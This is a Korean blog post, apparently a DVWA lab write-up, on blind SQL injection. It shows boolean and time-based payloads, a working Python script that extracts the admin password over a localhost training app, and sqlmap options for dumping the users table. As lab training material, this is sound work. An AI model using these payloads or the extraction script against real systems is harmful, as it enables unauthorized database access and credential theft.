정의
쿼리 실행 결과를 이용해 데이터를 찾아가는 공격.
쿼리가 참일 때와 거짓일 때 다른 결과값을 반환하는 것을 기반으로 데이터 찾음.
실습
Low 단계
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
소스코드의 쿼리문이다.
쿼리: 1' and 1=1#
id가 있다고 나온다. where 문 뒤를 보면 user_id='1' and 1=1#이 되어 user_id 가 1인 데이터가 존재함을 알 수 있다.
쿼리: 1' and 1=2#
id가 없다고 나온다. 1=2는 항상 거짓이기 때문에 반환되는 결과가 없기 때문이다.
즉, and 뒤에 조건문의 결과에 따라 참 또는 거짓이 되고 각각의 결과가 다르다. 이런 방식으로 Blind SQL Injection을 수행할 수 있다.
참/거짓에 따라 반환값이 달라지지 않는 경우엔 시간 관련 함수를 사용할 수 있다.
쿼리: 1' and sleep(5)#
id가 1인 경우는 존재하기 때문에 sleep(5) 함수가 실행되어 5초동안 대기한다. 따라서 개발자 옵션의 Network의 반환시간을 보면 5023ms임을 확인할 수 있다.
쿼리: 0' and sleep(5)#
id가 0인 데이터는 없기 때문에 뒤의 sleep 함수가 실행되지 않아 결과가 바로 반환된다. 39ms 시간이 걸렸다.
참/ 거짓에 따라 반환되는 결과값을 기반으로 Blind SQL Injection을 수행하는 코드를 짜봤다.
id가 존재하면 exists 라는 문자열이 반환 페이지에 존재했기 때문에 이를 이용하였다.
import requests
url='http://localhost/dvwa/vulnerabilities/sqli_blind/'
cookie={'security':'low','PHPSESSID':'2fc82lktbo8s625bmffa9h4jp0'}
HEX='0123456789ABCDEF'
def find_pw_len():
pw_len=1
while True:
r=requests.get(url+"?id=9999' or user='admin' and length(hex(password))={}%23&Submit=Submit#".format(pw_len),cookies=cookie)
if 'exists' in r.text:
#print(pw_len)
return pw_len
else:
pw_len+=1
def find_pw():
pw_len=find_pw_len()
tmp=''
for i in range(1,pw_len+1):
for j in HEX:
r=requests.get(url+"?id=9999' or user='admin' and substr(hex(password),{},1)='{}'%23&Submit=Submit#".format(i,j),cookies=cookie)
if 'exists' in r.text:
tmp+=j
if len(tmp)==2:
print(chr(int(tmp,16)),end="")
tmp=''
break
find_pw()
코드를 짜지 않고 SQL Injection을 수행하는 프로그램을 이용할 수도 있다. 대표적으로 sqlmap이 있다.
터미널에서 아래와 같이 입력하면 MySQL을 사용하고 있으며 위에서 언급한 AND boolean-based blind sql injection이 사용가능하다고 알려준다.
--current-db 옵션을 이용하여 현재 db명을 알아낼 수 있다.
-D dvwa --tables 옵션을 이용해 테이블들을 알 수 있다.
-D dvwa -T users --dump 옵션을 이용하면 users 테이블 내의 모든 데이터를 보여준다.
'dvwa' 카테고리의 다른 글
XSS (0) | 2023.05.22 |
---|---|
SQL Injection (0) | 2023.05.16 |
File Upload (0) | 2023.05.06 |
File Inclusion (0) | 2023.05.06 |
CSRF (0) | 2023.05.05 |